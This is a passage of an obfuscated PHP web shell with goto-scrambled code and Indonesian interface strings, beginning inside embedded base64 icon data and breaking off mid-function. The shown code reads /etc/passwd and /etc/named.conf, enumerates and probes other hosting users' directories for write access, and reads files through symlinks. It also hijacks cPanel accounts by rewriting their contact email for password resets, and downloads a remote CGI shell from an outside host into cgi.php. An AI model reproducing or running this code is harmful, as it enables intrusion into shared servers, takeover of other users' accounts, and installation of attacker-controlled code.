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' class='ico2'></img>"; goto Hn4Nw; UGR7W: $nfile = basename($file); goto cqr2q; ibkH5: $os = php_uname(); goto kD39o; S0OC8: if ($_GET["aksi"] == "edit") { editFile($dir, $file, $nfile, $imgfile); } goto Kt0bP; ADDCP: $mail = function_exists("mail") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto pSA_Z; nTsOG: $default_charset = "UTF-8"; goto zRAIO; TyPNd: if (isset($_GET["keluar"])) { goto UqAi4; wKd1c: session_destroy(); goto pkoLE; pkoLE: echo "<script>window.location="?";</script>"; goto rje34; UqAi4: session_start(); goto wKd1c; rje34: } goto Ion9F; SnXTb: $imgfol = "<img src='data:image/png;base64,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' class='ico'></img>"; goto GGZ6U; WLipb: function aksiSymread($dir, $file) { goto AScRR; AScRR: echo "read /etc/named.conf 
	<form method='post' action='?dir={$dir}&aksi=symread&save=1'>\xd\xa\x9<textarea class='form-control' rows='13' name='file'>"; goto byp83; ypqLT: $r3ad = @fopen($file, "r"); goto ou4UD; X5DVl: flush(); goto VXo7z; crArn: echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; goto z1Rje; VXo7z: $file = "/etc/named.conf"; goto ypqLT; z1Rje: if (isset($_GET["save"])) { goto FjsGB; l1fTl: $f = fopen("named.txt", "w"); goto vV41M; FjsGB: $cont = stripcslashes($_POST["file"]); goto l1fTl; vV41M: $w = fwrite($f, $cont); goto NrWHE; NrWHE: if ($w) { echo "<br/>save has been successfully"; } goto SO8bN; SO8bN: fclose($f); goto KcZki; KcZki: } goto smWwA; ou4UD: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } else { if (!$r3ad) { $r3ad = @show_source($file); } else { if (!$r3ad) { $r3ad = @highlight_file($file); } else { if (!$r3ad) { $sm = @symlink($file, "sym.txt"); if ($sm) { goto zC9fP; zC9fP: $r3ad = @fopen("indosec_sym/sym.txt", "r"); goto F6LlO; F6LlO: $content = @fread($r3ad, @filesize($file)); goto lu64w; lu64w: echo '' . htmlentities($content) . ''; goto Y_AY2; Y_AY2: } } } } } goto crArn; smWwA: exit; goto zLd1j; byp83: flush(); goto X5DVl; zLd1j: } goto lGLyr; ecDhJ: if (!$d0mains) { $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { goto mWHyP; mWHyP: $count = 0; goto m2pki; C1dek: $dom = "{$count} Domain"; goto YG1fX; m2pki: foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { goto rn_nC; oeskc: if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } goto KTNiv; rn_nC: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto VVN0X; VVN0X: flush(); goto oeskc; KTNiv: } } goto C1dek; YG1fX: } goto POaEb; OBiJL: function aksiJump($dir, $file, $ip) { goto K3e5g; cdtEi: echo "<div class='card container'>"; goto fyJ0f; K3e5g: $i = 0; goto cdtEi; fyJ0f: if (preg_match("/hsphere/", $dir)) { $urls = explode(" 
", $_POST["url"]); if (isset($_POST["jump"])) { goto SbzXS; BbbRa: echo "</pre>"; goto OLNLA; SbzXS: echo "<pre>"; goto et_k3; SWDCa: if (!$i == 0) { echo "<br>Total ada {$i} KAMAR di {$ip}"; } goto BbbRa; et_k3: foreach ($urls as $url) { goto WETkP; LPRla: while ($gets = fgets($f)) { $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "/" . $url; if (is_readable($url_user)) { goto Yx4as; Yx4as: $i++; goto iXRIe; SKZ5J: echo $jrw . "<br>"; goto htNmc; iXRIe: $jrw = "[<font color=green>R</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; goto y_v5A; y_v5A: if (is_writable($url_user)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; } goto SKZ5J; htNmc: } } } goto xL_hd; UoO4D: $etc = "/etc/passwd"; goto pwi1u; pwi1u: $f = fopen($etc, "r"); goto LPRla; WETkP: $url = str_replace(array("http://", "www."), '', strtolower($url)); goto UoO4D; xL_hd: } goto SWDCa; OLNLA: } else { goto noSn3; icM62: echo "</textarea><br> 
\xa			\x9\x9  <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block"> 
\xa		\x9</form></center>"; goto MmXi_; L_Oga: while ($getss = fgets($fp)) { echo $getss; } goto icM62; Cio94: $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r"); goto L_Oga; noSn3: echo "<center><form method="post">\xd 
	\x9\x9	List Domains: <br> 
\xa\x9\x9		<textarea name="url" class="form-control">"; goto Cio94; MmXi_: } } elseif (preg_match("/vhosts/", $dir)) { $urls = explode(" 
\xa", $_POST["url"]); if (isset($_POST["jump"])) { goto lyQP9; y1YiF: foreach ($urls as $url) { $web_vh = "/var/www/vhosts/{$url}/httpdocs"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { goto SIxtK; Kdvjj: if (is_writable($web_vh)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; } goto yJslN; yJslN: echo $jrw . "<br>"; goto WqYY8; SIxtK: $i++; goto i8rSC; i8rSC: $jrw = "[<font color=green>R</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; goto Kdvjj; WqYY8: } } } goto rsB0y; OnBPh: echo "</pre>"; goto h2DWC; rsB0y: if (!$i == 0) { echo "<br>Total ada {$i} Kamar Di {$ip}"; } goto OnBPh; lyQP9: echo "<pre>"; goto y1YiF; h2DWC: } else { goto o2Z7N; qEGjJ: bing("ip:{$ip}"); goto fy6Xs; fy6Xs: echo "</textarea><br> 
\x9\x9	\x9<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block"> 
\x9\x9	</form></center>"; goto dzgxi; o2Z7N: echo "<center><form method="post"> 
\x9\x9	\x9List Domains: <br> 
\xa		\x9	<textarea name="url" class="form-control">"; goto qEGjJ; dzgxi: } } else { goto nYjKk; ZSmKu: while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all("/(.*?):x:/", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "/home/{$user_pro_jump}/public_html"; if (is_readable($user_jumping_dir)) { goto yuIL1; nseSy: $jrw = "[<font color=green>R</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; goto RCrD5; fVWUD: if (function_exists("posix_getpwuid")) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { goto RCB21; I9AMS: $user_jumping_url = $user_jumping_url["name"]; goto xuZu7; RCB21: $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}")); goto I9AMS; xuZu7: if ($user_jumping_url == $user_pro_jump) { echo " => ( <u>{$dj}</u> )<br>"; break; } goto OUQm3; OUQm3: } } } else { echo "<br>"; } goto vEOsQ; RCrD5: if (is_writable($user_jumping_dir)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; } goto Zkho9; Zkho9: echo $jrw; goto fVWUD; yuIL1: $i++; goto nseSy; vEOsQ: } } } } goto DZyze; CFPmE: $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); goto ZSmKu; nYjKk: echo "<pre>"; goto CFPmE; DZyze: if (!$i == 0) { echo "<br>Total ada {$i} kamar di {$ip}"; } goto virvA; virvA: echo "</pre>"; goto fW1c1; fW1c1: } goto pgfDi; Mu9re: exit; goto Se7lZ; pgfDi: echo "</div><br/>"; goto Mu9re; Se7lZ: } goto mZGym; S4pkQ: function resetCp($dir) { goto jux65; UQeJS: if (isset($_POST["submit"])) { goto CR7u3; Wi2ST: echo "<br/>Url: " . $parm . ''; goto IqY8C; uKMZ7: $email = $_POST["email"]; goto rCs1o; I7Vis: $f = fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); goto vAvki; hfGwW: @fwrite($f, $wr); goto ZULU8; ZULU8: @fclose($f); goto sSPx2; IqY8C: echo "<br/>Username: " . $user . ''; goto RFJ8y; q2UB4: $ips = getenv("REMOTE_ADDR"); goto uKMZ7; sSPx2: $parm = $site . ":2082/resetpass?start=1"; goto Wi2ST; CR7u3: $user = get_current_user(); goto YgVIH; qWkJo: $f = fopen("/home/" . $user . "/.contactinfo", "w"); goto hfGwW; rCs1o: $wr = "email:" . $email; goto I7Vis; a3LWY: @fclose($f); goto qWkJo; YgVIH: $site = $_SERVER["HTTP_HOST"]; goto q2UB4; RFJ8y: echo "<br/>Success Reset To: " . $email . "<br/><br/>"; goto jwLww; vAvki: @fwrite($f, $wr); goto a3LWY; jwLww: } goto cq3qa; jux65: echo "<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5> 
	<form method="POST"> 
\xa\x9	<div class="form-group input-group"> 
\x9		<div class="input-group-prepend"> 
	\x9\x9\x9<div class="input-group-text"><i class="fa fa-envelope"></i></div> 
\x9	\x9	</div>\xd 
\x9	\x9\x9<input type="email" name="email" class="form-control" placeholder="Masukan Email..."/>\xd\xa\x9	\x9</div>\xd\xa			<input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/> 
\x9\x9</div> 
\xa	</form>"; goto UQeJS; cq3qa: exit; goto fyLA3; fyLA3: } goto MuqZH; kD39o: $ip = getHostByName(getHostName()); goto CxhHz; Mc7Gl: function aksicgi($dir, $file) { goto kRXWm; kRXWm: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto ZDK71; P3r41: exit; goto Xbqtw; ZDK71: function cgi($url, $isi) { goto JWjQ7; bOIVz: curl_setopt($ch, CURLOPT_URL, $url); goto tvYu4; zIgAk: $ch = curl_init(); goto bOIVz; LPWyN: ob_flush(); goto QGaB_; QdRNn: curl_setopt($ch, CURLOPT_FILE, $fp); goto Wm_i7; QGaB_: flush(); goto RYlnj; JWjQ7: $fp = fopen($isi, "w"); goto zIgAk; ZSU1L: fclose($fp); goto LPWyN; Wm_i7: return curl_exec($ch); goto XY_I_; OlBrH: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto QdRNn; XY_I_: curl_close($ch); goto ZSU1L; tvYu4: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto NTGs4; NTGs4: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto OlBrH; RYlnj: } goto XaxBl; XaxBl: if (file_exists("cgi.php")) { echo "<a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { if (cgi("http://flow.sytes.net/arrow/cgi.txt", "cgi.php")) { echo "<p class='text-center'>Berhasil Membuat cgi</p><a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat cgi</p>"; } } goto P3r41; Xbqtw: } goto xj_BI; VuWTN: function disabFunc($dir, $file) { goto 